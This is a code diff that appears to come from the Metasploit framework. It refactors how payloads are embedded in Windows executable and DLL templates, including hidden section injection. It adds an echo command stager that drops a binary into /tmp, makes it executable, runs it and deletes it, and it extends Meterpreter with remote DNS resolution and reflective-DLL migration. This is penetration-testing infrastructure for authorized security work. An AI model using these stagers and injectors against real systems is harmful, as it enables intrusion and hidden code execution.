bo = pe.index('PAYLOAD:')
|
||||||
|
raise RuntimeError, "Invalid PE EXE subst template: missing \"PAYLOAD:\" tag" if not bo
|
||||||
|
|
||||||
|
if (code.length <= max_length)
|
||||||
pe[bo, code.length] = [code].pack("a*")
|
pe[bo, code.length] = [code].pack("a*")
|
||||||
else
|
else
|
||||||
raise RuntimeError, "The EXE generator now has a max size of 4096 bytes, please fix the calling module"
|
raise RuntimeError, "The EXE generator now has a max size of #{max_length} bytes, please fix the calling module"
|
||||||
|
end
|
||||||
|
|
||||||
|
if opts[:exe_type] == :dll
|
||||||
|
mt = pe.index('MUTEX!!!')
|
||||||
|
pe[mt,8] = Rex::Text.rand_text_alpha(8) if mt
|
||||||
end
|
end
|
||||||
|
|
||||||
return pe
|
return pe
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def self.to_win32pe_exe_sub(framework, code, opts={})
|
||||||
|
# Allow the user to specify their own DLL template
|
||||||
|
set_template_default(opts, "template_x86_windows.exe")
|
||||||
|
opts[:exe_type] = :exe_sub
|
||||||
|
exe_sub_method(code,opts)
|
||||||
|
end
|
||||||
|
|
||||||
def self.to_win64pe(framework, code, opts={})
|
def self.to_win64pe(framework, code, opts={})
|
||||||
|
|
||||||
# Allow the user to specify their own EXE template
|
# Allow the user to specify their own EXE template
|
||||||
set_template_default(opts, "template_x64_windows.exe")
|
set_template_default(opts, "template_x64_windows.exe")
|
||||||
|
#try to inject code into executable by adding a section without affecting executable behavior
|
||||||
pe = ''
|
if(opts[:inject])
|
||||||
File.open(opts[:template], "rb") { |fd|
|
injector = Msf::Exe::SegmentInjector.new({
|
||||||
pe = fd.read(fd.stat.size)
|
:payload => code,
|
||||||
}
|
:template => opts[:template],
|
||||||
|
:arch => :x64
|
||||||
bo = pe.index('PAYLOAD:')
|
})
|
||||||
raise RuntimeError, "Invalid Win64 PE EXE template: missing \"PAYLOAD:\" tag" if not bo
|
exe = injector.generate_pe
|
||||||
|
return exe
|
||||||
if (code.length <= 4096)
|
|
||||||
pe[bo, code.length] = [code].pack("a*")
|
|
||||||
else
|
|
||||||
raise RuntimeError, "The EXE generator now has a max size of 4096 bytes, please fix the calling module"
|
|
||||||
end
|
end
|
||||||
|
opts[:exe_type] = :exe_sub
|
||||||
return pe
|
exe_sub_method(code,opts)
|
||||||
end
|
end
|
||||||
|
|
||||||
def self.to_win32pe_service(framework, code, opts={})
|
def self.to_win32pe_service(framework, code, opts={})
|
||||||
|
|
||||||
name = opts[:servicename]
|
|
||||||
|
|
||||||
# Allow the user to specify their own service EXE template
|
# Allow the user to specify their own service EXE template
|
||||||
set_template_default(opts, "template_x86_windows_svc.exe")
|
set_template_default(opts, "template_x86_windows_svc.exe")
|
||||||
|
opts[:exe_type] = :service_exe
|
||||||
pe = ''
|
exe_sub_method(code,opts)
|
||||||
File.open(opts[:template], 'rb') { |fd|
|
|
||||||
pe = fd.read(fd.stat.size)
|
|
||||||
}
|
|
||||||
|
|
||||||
bo = pe.index('PAYLOAD:')
|
|
||||||
raise RuntimeError, "Invalid Win32 PE Service EXE template: missing \"PAYLOAD:\" tag" if not bo
|
|
||||||
|
|
||||||
if (code.length <= 8192)
|
|
||||||
pe[bo, code.length] = [code].pack("a*")
|
|
||||||
else
|
|
||||||
raise RuntimeError, "The EXE generator now has a max size of 8192 bytes, please fix the calling module"
|
|
||||||
end
|
|
||||||
|
|
||||||
if name
|
|
||||||
bo = pe.index('SERVICENAME')
|
|
||||||
raise RuntimeError, "Invalid Win32 PE Service EXE template: missing \"SERVICENAME\" tag" if not bo
|
|
||||||
pe[bo, 11] = [name].pack('a11')
|
|
||||||
end
|
|
||||||
|
|
||||||
if not opts[:sub_method]
|
|
||||||
pe[136, 4] = [rand(0x100000000)].pack('V')
|
|
||||||
end
|
|
||||||
|
|
||||||
return pe
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def self.to_win64pe_service(framework, code, opts={})
|
def self.to_win64pe_service(framework, code, opts={})
|
||||||
|
|
||||||
name = opts[:servicename]
|
|
||||||
|
|
||||||
# Allow the user to specify their own service EXE template
|
# Allow the user to specify their own service EXE template
|
||||||
set_template_default(opts, "template_x64_windows_svc.exe")
|
set_template_default(opts, "template_x64_windows_svc.exe")
|
||||||
|
opts[:exe_type] = :service_exe
|
||||||
pe = ''
|
exe_sub_method(code,opts)
|
||||||
File.open(opts[:template], "rb") { |fd|
|
|
||||||
pe = fd.read(fd.stat.size)
|
|
||||||
}
|
|
||||||
|
|
||||||
bo = pe.index('PAYLOAD:')
|
|
||||||
raise RuntimeError, "Invalid Win64 PE Service EXE template: missing \"PAYLOAD:\" tag" if not bo
|
|
||||||
|
|
||||||
if (code.length <= 8192)
|
|
||||||
pe[bo, code.length] = [code].pack("a*")
|
|
||||||
else
|
|
||||||
raise RuntimeError, "The EXE generator now has a max size of 8192 bytes, please fix the calling module"
|
|
||||||
end
|
|
||||||
|
|
||||||
if name
|
|
||||||
bo = pe.index('SERVICENAME')
|
|
||||||
raise RuntimeError, "Invalid Win64 PE Service EXE template: missing \"SERVICENAME\" tag" if not bo
|
|
||||||
pe[bo, 11] = [name].pack('a11')
|
|
||||||
end
|
|
||||||
|
|
||||||
if not opts[:sub_method]
|
|
||||||
pe[136, 4] = [rand(0x100000000)].pack('V')
|
|
||||||
end
|
|
||||||
|
|
||||||
return pe
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def self.to_win32pe_dll(framework, code, opts={})
|
def self.to_win32pe_dll(framework, code, opts={})
|
||||||
|
|
||||||
# Allow the user to specify their own DLL template
|
# Allow the user to specify their own DLL template
|
||||||
set_template_default(opts, "template_x86_windows.dll")
|
set_template_default(opts, "template_x86_windows.dll")
|
||||||
|
opts[:exe_type] = :dll
|
||||||
pe = ''
|
exe_sub_method(code,opts)
|
||||||
File.open(opts[:template], "rb") { |fd|
|
|
||||||
pe = fd.read(fd.stat.size)
|
|
||||||
}
|
|
||||||
|
|
||||||
bo = pe.index('PAYLOAD:')
|
|
||||||
raise RuntimeError, "Invalid Win32 PE DLL template: missing \"PAYLOAD:\" tag" if not bo
|
|
||||||
|
|
||||||
if (code.length <= 2048)
|
|
||||||
pe[bo, code.length] = [code].pack("a*")
|
|
||||||
else
|
|
||||||
raise RuntimeError, "The EXE generator now has a max size of 2048 bytes, please fix the calling module"
|
|
||||||
end
|
|
||||||
|
|
||||||
# optional mutex
|
|
||||||
mt = pe.index('MUTEX!!!')
|
|
||||||
pe[mt,8] = Rex::Text.rand_text_alpha(8) if mt
|
|
||||||
|
|
||||||
return pe
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def self.to_win64pe_dll(framework, code, opts={})
|
def self.to_win64pe_dll(framework, code, opts={})
|
||||||
|
|
||||||
# Allow the user to specify their own DLL template
|
# Allow the user to specify their own DLL template
|
||||||
set_template_default(opts, "template_x64_windows.dll")
|
set_template_default(opts, "template_x64_windows.dll")
|
||||||
|
opts[:exe_type] = :dll
|
||||||
pe = ''
|
exe_sub_method(code,opts)
|
||||||
File.open(opts[:template], "rb") { |fd|
|
|
||||||
pe = fd.read(fd.stat.size)
|
|
||||||
}
|
|
||||||
|
|
||||||
bo = pe.index('PAYLOAD:')
|
|
||||||
raise RuntimeError, "Invalid Win64 PE DLL template: missing \"PAYLOAD:\" tag" if not bo
|
|
||||||
|
|
||||||
if (code.length <= 2048)
|
|
||||||
pe[bo, code.length] = [code].pack("a*")
|
|
||||||
else
|
|
||||||
raise RuntimeError, "The EXE generator now has a max size of 2048 bytes, please fix the calling module"
|
|
||||||
end
|
|
||||||
|
|
||||||
# optional mutex
|
|
||||||
mt = pe.index('MUTEX!!!')
|
|
||||||
pe[mt,8] = Rex::Text.rand_text_alpha(8) if mt
|
|
||||||
|
|
||||||
return pe
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def self.to_osx_arm_macho(framework, code, opts={})
|
def self.to_osx_arm_macho(framework, code, opts={})
|
||||||
|
|
|
@ -280,7 +280,7 @@ class RbMysql
|
||||||
# In Ruby 1.8, this is not safe for multibyte charset such as 'SJIS'.
|
# In Ruby 1.8, this is not safe for multibyte charset such as 'SJIS'.
|
||||||
# You should use place-holder in prepared-statement.
|
# You should use place-holder in prepared-statement.
|
||||||
def escape_string(str)
|
def escape_string(str)
|
||||||
str.gsub(/[\0\n\r\\\'\"\x1a]/) do |s|
|
str.gsub(/[\0\n\r\\\'\"\x1a]/n) do |s|
|
||||||
case s
|
case s
|
||||||
when "\0" then "\\0"
|
when "\0" then "\\0"
|
||||||
when "\n" then "\\n"
|
when "\n" then "\\n"
|
||||||
|
|
|
@ -32,7 +32,7 @@ class RbMysql
|
||||||
alias get_client_info client_info
|
alias get_client_info client_info
|
||||||
|
|
||||||
def escape_string(str)
|
def escape_string(str)
|
||||||
str.gsub(/[\0\n\r\\\'\"\x1a]/) do |s|
|
str.gsub(/[\0\n\r\\\'\"\x1a]/n) do |s|
|
||||||
case s
|
case s
|
||||||
when "\0" then "\\0"
|
when "\0" then "\\0"
|
||||||
when "\n" then "\\n"
|
when "\n" then "\\n"
|
||||||
|
|
|
@ -5272,7 +5272,7 @@ module RbReadline
|
||||||
# Actually update the display, period.
|
# Actually update the display, period.
|
||||||
def rl_forced_update_display()
|
def rl_forced_update_display()
|
||||||
if (@visible_line)
|
if (@visible_line)
|
||||||
@visible_line.gsub!(/[^\x00]/,0.chr)
|
@visible_line.gsub!(/[^\x00]/n,0.chr)
|
||||||
end
|
end
|
||||||
rl_on_new_line()
|
rl_on_new_line()
|
||||||
@forced_display=true if !@forced_display
|
@forced_display=true if !@forced_display
|
||||||
|
@ -8520,7 +8520,7 @@ module RbReadline
|
||||||
count -= 1
|
count -= 1
|
||||||
end
|
end
|
||||||
|
|
||||||
str = (flags == MB_FIND_NONZERO) ? string.sub(/\x00+$/,'') : string
|
str = (flags == MB_FIND_NONZERO) ? string.sub(/\x00+$/n,'') : string
|
||||||
|
|
||||||
case @encoding
|
case @encoding
|
||||||
when 'E'
|
when 'E'
|
||||||
|
|
|
@ -6,3 +6,4 @@ require 'rex/exploitation/cmdstager/debug_write'
|
||||||
require 'rex/exploitation/cmdstager/debug_asm'
|
require 'rex/exploitation/cmdstager/debug_asm'
|
||||||
require 'rex/exploitation/cmdstager/tftp'
|
require 'rex/exploitation/cmdstager/tftp'
|
||||||
require 'rex/exploitation/cmdstager/bourne'
|
require 'rex/exploitation/cmdstager/bourne'
|
||||||
|
require 'rex/exploitation/cmdstager/echo'
|
||||||
|
|
|
@ -0,0 +1,113 @@
|
||||||
|
# -*- coding: binary -*-
|
||||||
|
|
||||||
|
require 'rex/text'
|
||||||
|
require 'rex/arch'
|
||||||
|
require 'msf/core/framework'
|
||||||
|
require 'shellwords'
|
||||||
|
|
||||||
|
module Rex
|
||||||
|
module Exploitation
|
||||||
|
|
||||||
|
class CmdStagerEcho < CmdStagerBase
|
||||||
|
|
||||||
|
def initialize(exe)
|
||||||
|
super
|
||||||
|
|
||||||
|
@var_elf = Rex::Text.rand_text_alpha(5)
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Override to ensure opts[:temp] is a correct *nix path
|
||||||
|
#
|
||||||
|
def generate(opts = {})
|
||||||
|
opts[:temp] = opts[:temp] || '/tmp/'
|
||||||
|
opts[:temp].gsub!(/\\/, "/")
|
||||||
|
opts[:temp] = opts[:temp].shellescape
|
||||||
|
opts[:temp] << '/' if opts[:temp][-1,1] != '/'
|
||||||
|
super
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Override to set the extra byte count
|
||||||
|
#
|
||||||
|
def generate_cmds(opts)
|
||||||
|
# Set the start/end of the commands here (vs initialize) so we have @tempdir
|
||||||
|
@cmd_start = "echo -en "
|
||||||
|
@cmd_end = ">>#{@tempdir}#{@var_elf}"
|
||||||
|
xtra_len = @cmd_start.length + @cmd_end.length + 1
|
||||||
|
opts.merge!({ :extra => xtra_len })
|
||||||
|
super
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
#
|
||||||
|
# Encode into a "\\x55\\xAA" hex format that echo understands, where
|
||||||
|
# interpretation of backslash escapes are enabled
|
||||||
|
#
|
||||||
|
def encode_payload(opts)
|
||||||
|
return Rex::Text.to_hex(@exe, "\\\\x")
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
#
|
||||||
|
# Combine the parts of the encoded file with the stuff that goes
|
||||||
|
# before ("echo -en ") / after (">>file") it.
|
||||||
|
#
|
||||||
|
def parts_to_commands(parts, opts)
|
||||||
|
parts.map do |p|
|
||||||
|
cmd = ''
|
||||||
|
cmd << @cmd_start
|
||||||
|
cmd << p
|
||||||
|
cmd << @cmd_end
|
||||||
|
cmd
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Since the binary has been already dropped to fs, just execute and
|
||||||
|
# delete it
|
||||||
|
#
|
||||||
|
def generate_cmds_decoder(opts)
|
||||||
|
cmds = []
|
||||||
|
# Make it all happen
|
||||||
|
cmds << "chmod +x #{@tempdir}#{@var_elf}"
|
||||||
|
cmds << "#{@tempdir}#{@var_elf}"
|
||||||
|
|
||||||
|
# Clean up after unless requested not to..
|
||||||
|
unless opts[:nodelete]
|
||||||
|
cmds << "rm -f #{@tempdir}#{@var_elf}"
|
||||||
|
end
|
||||||
|
|
||||||
|
return cmds
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Override it to ensure that the hex representation of a byte isn't cut
|
||||||
|
#
|
||||||
|
def slice_up_payload(encoded, opts)
|
||||||
|
encoded_dup = encoded.dup
|
||||||
|
|
||||||
|
parts = []
|
||||||
|
xtra_len = opts[:extra]
|
||||||
|
xtra_len ||= 0
|
||||||
|
while (encoded_dup.length > 0)
|
||||||
|
temp = encoded_dup.slice(0, (opts[:linemax] - xtra_len))
|
||||||
|
# cut the end of the part until we reach the start
|
||||||
|
# of a full byte representation "\\xYZ"
|
||||||
|
while (temp.length > 0 && temp[-5, 3] != "\\\\x")
|
||||||
|
temp.chop!
|
||||||
|
end
|
||||||
|
parts << temp
|
||||||
|
encoded_dup.slice!(0, temp.length)
|
||||||
|
end
|
||||||
|
|
||||||
|
parts
|
||||||
|
end
|
||||||
|
|
||||||
|
def cmd_concat_operator
|
||||||
|
" ; "
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -116,7 +116,7 @@ module Rex
|
||||||
if query
|
if query
|
||||||
@state[:query] = "?#{query}" # Can be nil
|
@state[:query] = "?#{query}" # Can be nil
|
||||||
end
|
end
|
||||||
if path =~ /https?:[\x5c\x2f][\x5c\x2f]+[^\x5c\x2f][^\x5c\x2f]+([^?]+)/
|
if path =~ /https?:[\x5c\x2f][\x5c\x2f]+[^\x5c\x2f][^\x5c\x2f]+([^?]+)/n
|
||||||
real_path = "/#{$1}"
|
real_path = "/#{$1}"
|
||||||
else
|
else
|
||||||
real_path = path
|
real_path = path
|
||||||
|
|
|
@ -55,6 +55,7 @@ module Rex
|
||||||
end
|
end
|
||||||
# Reset the state once we close a host
|
# Reset the state once we close a host
|
||||||
@state.delete_if {|k| k != :current_tag}
|
@state.delete_if {|k| k != :current_tag}
|
||||||
|
@report_data = {:wspace => args[:wspace]}
|
||||||
when "Port"
|
when "Port"
|
||||||
@state[:has_text] = false
|
@state[:has_text] = false
|
||||||
collect_port
|
collect_port
|
||||||
|
|
|
@ -176,7 +176,7 @@ module Rex
|
||||||
:os_family => os_family,
|
:os_family => os_family,
|
||||||
:os_version => os_version,
|
:os_version => os_version,
|
||||||
:os_accuracy => 100,
|
:os_accuracy => 100,
|
||||||
:os_match => os_info.gsub(/\x2e$/,"")
|
:os_match => os_info.gsub(/\x2e$/n,"")
|
||||||
}
|
}
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -1627,8 +1627,8 @@ class PeBase
|
||||||
if (rname & 0x80000000 != 0)
|
if (rname & 0x80000000 != 0)
|
||||||
rname &= ~0x80000000
|
rname &= ~0x80000000
|
||||||
unistr = data[rname+2, 2 * data[rname,2].unpack('v')[0] ]
|
unistr = data[rname+2, 2 * data[rname,2].unpack('v')[0] ]
|
||||||
unistr, trash = unistr.split(/\x00\x00/, 2)
|
unistr, trash = unistr.split(/\x00\x00/n, 2)
|
||||||
return unistr ? unistr.gsub(/\x00/, '') : nil
|
return unistr ? unistr.gsub(/\x00/n, '') : nil
|
||||||
end
|
end
|
||||||
|
|
||||||
rname.to_s
|
rname.to_s
|
||||||
|
|
|
@ -38,7 +38,7 @@ class Section
|
||||||
return nil if !_section_header
|
return nil if !_section_header
|
||||||
|
|
||||||
# FIXME make this better...
|
# FIXME make this better...
|
||||||
_section_header.v['Name'].gsub(/\x00+$/, '')
|
_section_header.v['Name'].gsub(/\x00+$/n, '')
|
||||||
end
|
end
|
||||||
|
|
||||||
def flags
|
def flags
|
||||||
|
|
|
@ -4,6 +4,9 @@
|
||||||
require 'rex/post/meterpreter/packet'
|
require 'rex/post/meterpreter/packet'
|
||||||
require 'rex/post/meterpreter/extension'
|
require 'rex/post/meterpreter/extension'
|
||||||
require 'rex/post/meterpreter/client'
|
require 'rex/post/meterpreter/client'
|
||||||
|
|
||||||
|
# Used to generate a reflective DLL when migrating. This is yet another
|
||||||
|
# argument for moving the meterpreter client into the Msf namespace.
|
||||||
require 'msf/core/payload/windows'
|
require 'msf/core/payload/windows'
|
||||||
|
|
||||||
module Rex
|
module Rex
|
||||||
|
@ -147,7 +150,7 @@ class ClientCore < Extension
|
||||||
end
|
end
|
||||||
# Get us to the installation root and then into data/meterpreter, where
|
# Get us to the installation root and then into data/meterpreter, where
|
||||||
# the file is expected to be
|
# the file is expected to be
|
||||||
path = ::File.join(Msf::Config.install_root, 'data', 'meterpreter', 'ext_server_' + mod.downcase + ".#{client.binary_suffix}")
|
path = ::File.join(Msf::Config.data_directory, 'meterpreter', 'ext_server_' + mod.downcase + ".#{client.binary_suffix}")
|
||||||
|
|
||||||
if (opts['ExtensionPath'])
|
if (opts['ExtensionPath'])
|
||||||
path = opts['ExtensionPath']
|
path = opts['ExtensionPath']
|
||||||
|
@ -209,7 +212,7 @@ class ClientCore < Extension
|
||||||
# Include the appropriate reflective dll injection module for the target process architecture...
|
# Include the appropriate reflective dll injection module for the target process architecture...
|
||||||
if( process['arch'] == ARCH_X86 )
|
if( process['arch'] == ARCH_X86 )
|
||||||
c.include( ::Msf::Payload::Windows::ReflectiveDllInject )
|
c.include( ::Msf::Payload::Windows::ReflectiveDllInject )
|
||||||
binary_suffix = "dll"
|
binary_suffix = "x86.dll"
|
||||||
elsif( process['arch'] == ARCH_X86_64 )
|
elsif( process['arch'] == ARCH_X86_64 )
|
||||||
c.include( ::Msf::Payload::Windows::ReflectiveDllInject_x64 )
|
c.include( ::Msf::Payload::Windows::ReflectiveDllInject_x64 )
|
||||||
binary_suffix = "x64.dll"
|
binary_suffix = "x64.dll"
|
||||||
|
@ -219,7 +222,7 @@ class ClientCore < Extension
|
||||||
|
|
||||||
# Create the migrate stager
|
# Create the migrate stager
|
||||||
migrate_stager = c.new()
|
migrate_stager = c.new()
|
||||||
migrate_stager.datastore['DLL'] = ::File.join( Msf::Config.install_root, "data", "meterpreter", "metsrv.#{binary_suffix}" )
|
migrate_stager.datastore['DLL'] = ::File.join( Msf::Config.data_directory, "meterpreter", "metsrv.#{binary_suffix}" )
|
||||||
|
|
||||||
blob = migrate_stager.stage_payload
|
blob = migrate_stager.stage_payload
|
||||||
|
|
||||||
|
@ -297,7 +300,7 @@ class ClientCore < Extension
|
||||||
client.binary_suffix = 'x64.dll'
|
client.binary_suffix = 'x64.dll'
|
||||||
else
|
else
|
||||||
client.platform = 'x86/win32'
|
client.platform = 'x86/win32'
|
||||||
client.binary_suffix = 'dll'
|
client.binary_suffix = 'x86.dll'
|
||||||
end
|
end
|
||||||
|
|
||||||
# Load all the extensions that were loaded in the previous instance (using the correct platform/binary_suffix)
|
# Load all the extensions that were loaded in the previous instance (using the correct platform/binary_suffix)
|
||||||
|
|
|
@ -46,11 +46,7 @@ class Priv < Extension
|
||||||
|
|
||||||
elevator_name = Rex::Text.rand_text_alpha_lower( 6 )
|
elevator_name = Rex::Text.rand_text_alpha_lower( 6 )
|
||||||
|
|
||||||
if( client.platform == 'x64/win64' )
|
elevator_path = ::File.join( Msf::Config.data_directory, "meterpreter", "elevator.#{client.binary_suffix}" )
|
||||||
elevator_path = ::File.join( Msf::Config.install_root, "data", "meterpreter", "elevator.x64.dll" )
|
|
||||||
else
|
|
||||||
elevator_path = ::File.join( Msf::Config.install_root, "data", "meterpreter", "elevator.dll" )
|
|
||||||
end
|
|
||||||
|
|
||||||
elevator_path = ::File.expand_path( elevator_path )
|
elevator_path = ::File.expand_path( elevator_path )
|
||||||
|
|
||||||
|
|
|
@ -11,6 +11,14 @@
|
||||||
#
|
#
|
||||||
###
|
###
|
||||||
|
|
||||||
|
##
|
||||||
|
#
|
||||||
|
# Net
|
||||||
|
#
|
||||||
|
##
|
||||||
|
AF_INET = 2
|
||||||
|
AF_INET6 = 23
|
||||||
|
|
||||||
##
|
##
|
||||||
#
|
#
|
||||||
# Permissions
|
# Permissions
|
||||||
|
|
|
@ -0,0 +1,107 @@
|
||||||
|
#!/usr/bin/env ruby
|
||||||
|
# -*- coding: binary -*-
|
||||||
|
|
||||||
|
require 'rex/post/meterpreter/extensions/stdapi/tlv'
|
||||||
|
|
||||||
|
module Rex
|
||||||
|
module Post
|
||||||
|
module Meterpreter
|
||||||
|
module Extensions
|
||||||
|
module Stdapi
|
||||||
|
module Net
|
||||||
|
|
||||||
|
###
|
||||||
|
#
|
||||||
|
# This class provides DNS resolution from the perspective
|
||||||
|
# of the remote host.
|
||||||
|
#
|
||||||
|
###
|
||||||
|
class Resolve
|
||||||
|
|
||||||
|
##
|
||||||
|
#
|
||||||
|
# Constructor
|
||||||
|
#
|
||||||
|
##
|
||||||
|
|
||||||
|
#
|
||||||
|
# Initializes a Resolve instance that is used to resolve network addresses
|
||||||
|
# on the remote machine.
|
||||||
|
#
|
||||||
|
def initialize(client)
|
||||||
|
self.client = client
|
||||||
|
end
|
||||||
|
|
||||||
|
def resolve_host(hostname, family=AF_INET)
|
||||||
|
request = Packet.create_request('stdapi_net_resolve_host')
|
||||||
|
request.add_tlv(TLV_TYPE_HOST_NAME, hostname)
|
||||||
|
request.add_tlv(TLV_TYPE_ADDR_TYPE, family)
|
||||||
|
|
||||||
|
response = client.send_request(request)
|
||||||
|
|
||||||
|
type = response.get_tlv_value(TLV_TYPE_ADDR_TYPE)
|
||||||
|
raw = response.get_tlv_value(TLV_TYPE_IP)
|
||||||
|
|
||||||
|
return raw_to_host_ip_pair(hostname, raw, type)
|
||||||
|
end
|
||||||
|
|
||||||
|
def resolve_hosts(hostnames, family=AF_INET)
|
||||||
|
request = Packet.create_request('stdapi_net_resolve_hosts')
|
||||||
|
request.add_tlv(TLV_TYPE_ADDR_TYPE, family)
|
||||||
|
|
||||||
|
hostnames.each do |hostname|
|
||||||
|
request.add_tlv(TLV_TYPE_HOST_NAME, hostname)
|
||||||
|
end
|
||||||
|
|
||||||
|
response = client.send_request(request)
|
||||||
|
|
||||||
|
hosts = []
|
||||||
|
raws = []
|
||||||
|
types = []
|
||||||
|
|
||||||
|
response.each(TLV_TYPE_IP) do |raw|
|
||||||
|
raws << raw
|
||||||
|
end
|
||||||
|
|
||||||
|
response.each(TLV_TYPE_ADDR_TYPE) do |type|
|
||||||
|
types << type
|
||||||
|
end
|
||||||
|
|
||||||
|
0.upto(hostnames.length - 1) do |i|
|
||||||
|
raw = raws[i]
|
||||||
|
type = types[i]
|
||||||
|
host = hostnames[i]
|
||||||
|
|
||||||
|
hosts << raw_to_host_ip_pair(host, raw.value, type.value)
|
||||||
|
end
|
||||||
|
|
||||||
|
return hosts
|
||||||
|
end
|
||||||
|
|
||||||
|
def raw_to_host_ip_pair(host, raw, type)
|
||||||
|
if raw.nil? or host.nil?
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
|
||||||
|
if raw.empty?
|
||||||
|
ip = ""
|
||||||
|
else
|
||||||
|
if type == AF_INET
|
||||||
|
ip = Rex::Socket.addr_ntoa(raw[0..3])
|
||||||
|
else
|
||||||
|
ip = Rex::Socket.addr_ntoa(raw[0..16])
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
result = { :hostname => host, :ip => ip }
|
||||||
|
|
||||||
|
return result
|
||||||
|
end
|
||||||
|
|
||||||
|
protected
|
||||||
|
|
||||||
|
attr_accessor :client # :nodoc:
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
end; end; end; end; end; end
|
|
@ -8,6 +8,7 @@ require 'rex/post/meterpreter/extensions/stdapi/tlv'
|
||||||
require 'rex/post/meterpreter/extensions/stdapi/fs/dir'
|
require 'rex/post/meterpreter/extensions/stdapi/fs/dir'
|
||||||
require 'rex/post/meterpreter/extensions/stdapi/fs/file'
|
require 'rex/post/meterpreter/extensions/stdapi/fs/file'
|
||||||
require 'rex/post/meterpreter/extensions/stdapi/fs/file_stat'
|
require 'rex/post/meterpreter/extensions/stdapi/fs/file_stat'
|
||||||
|
require 'rex/post/meterpreter/extensions/stdapi/net/resolve'
|
||||||
require 'rex/post/meterpreter/extensions/stdapi/net/config'
|
require 'rex/post/meterpreter/extensions/stdapi/net/config'
|
||||||
require 'rex/post/meterpreter/extensions/stdapi/net/socket'
|
require 'rex/post/meterpreter/extensions/stdapi/net/socket'
|
||||||
require 'rex/post/meterpreter/extensions/stdapi/sys/config'
|
require 'rex/post/meterpreter/extensions/stdapi/sys/config'
|
||||||
|
@ -69,7 +70,8 @@ class Stdapi < Extension
|
||||||
'ext' => ObjectAliases.new(
|
'ext' => ObjectAliases.new(
|
||||||
{
|
{
|
||||||
'config' => Rex::Post::Meterpreter::Extensions::Stdapi::Net::Config.new(client),
|
'config' => Rex::Post::Meterpreter::Extensions::Stdapi::Net::Config.new(client),
|
||||||
'socket' => Rex::Post::Meterpreter::Extensions::Stdapi::Net::Socket.new(client)
|
'socket' => Rex::Post::Meterpreter::Extensions::Stdapi::Net::Socket.new(client),
|
||||||
|
'resolve' => Rex::Post::Meterpreter::Extensions::Stdapi::Net::Resolve.new(client)
|
||||||
})
|
})
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
|
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue